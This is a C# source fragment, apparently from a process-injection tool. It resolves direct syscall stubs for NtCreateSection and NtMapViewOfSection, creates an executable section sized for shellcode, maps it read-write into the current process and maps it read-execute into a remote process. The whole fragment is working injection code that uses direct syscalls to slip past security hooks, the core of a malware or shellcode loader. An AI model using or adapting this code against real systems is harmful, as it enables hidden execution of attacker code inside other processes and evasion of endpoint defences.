public static SECT_DATA MapRemoteSection(IntPtr hProc, IntPtr hSection, long ScSize)
{
SECT_DATA SectData = new SECT_DATA();
IntPtr pScBase = IntPtr.Zero;
long lSecOffset = 0;
long MaxSize = ScSize;
IntPtr pSysCall = Generic.GetSyscallStub("NtMapViewOfSection");
NtMapViewOfSection fSyscallNtMapViewOfSection = (NtMapViewOfSection)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(NtMapViewOfSection));
UInt32 CallResult = fSyscallNtMapViewOfSection(hSection, hProc, ref pScBase, IntPtr.Zero, IntPtr.Zero, ref lSecOffset, ref MaxSize, 0x2, 0, 0x20);
if (CallResult == 0 && pScBase != IntPtr.Zero)
{
Console.WriteLine(" |-> pRemoteBase: 0x" + String.Format("{0:X}", (pScBase).ToInt64()));
SectData.pBase = pScBase;
}
else
{
Console.WriteLine("[!] Failed to map section in remote process..");
SectData.isvalid = false;
return(SectData);
}
SectData.isvalid = true;
return(SectData);
}
public static SECT_DATA MapLocalSection(long ScSize)
{
SECT_DATA SectData = new SECT_DATA();
long MaxSize = ScSize;
IntPtr hSection = IntPtr.Zero;
IntPtr pSysCall = Generic.GetSyscallStub("NtCreateSection");
NtCreateSection fSyscallNtCreateSection = (NtCreateSection)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(NtCreateSection));
UInt32 CallResult = fSyscallNtCreateSection(ref hSection, 0xe, IntPtr.Zero, ref MaxSize, 0x40, 0x8000000, IntPtr.Zero);
if (CallResult == 0 && hSection != IntPtr.Zero)
{
Console.WriteLine(" |-> hSection: 0x" + String.Format("{0:X}", (hSection).ToInt64()));
Console.WriteLine(" |-> Size: " + ScSize);
SectData.hSection = hSection;
}
else
{
Console.WriteLine("[!] Failed to create section..");
SectData.isvalid = false;
return(SectData);
}
IntPtr pScBase = IntPtr.Zero;
long lSecOffset = 0;
pSysCall = Generic.GetSyscallStub("NtMapViewOfSection");
NtMapViewOfSection fSyscallNtMapViewOfSection = (NtMapViewOfSection)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(NtMapViewOfSection));
CallResult = fSyscallNtMapViewOfSection(hSection, (IntPtr)(-1), ref pScBase, IntPtr.Zero, IntPtr.Zero, ref lSecOffset, ref MaxSize, 0x2, 0, 0x4);
if (CallResult == 0 && pScBase != IntPtr.Zero)
{
Console.WriteLine(" |-> pBase: 0x" + String.Format("{0:X}", (pScBase).ToInt64()));
SectData.pBase = pScBase;
}
else
{
Console.WriteLine("[!] Failed to map section locally..");
SectData.isvalid = false;
return(SectData);
}
SectData.isvalid = true;
return(SectData);
}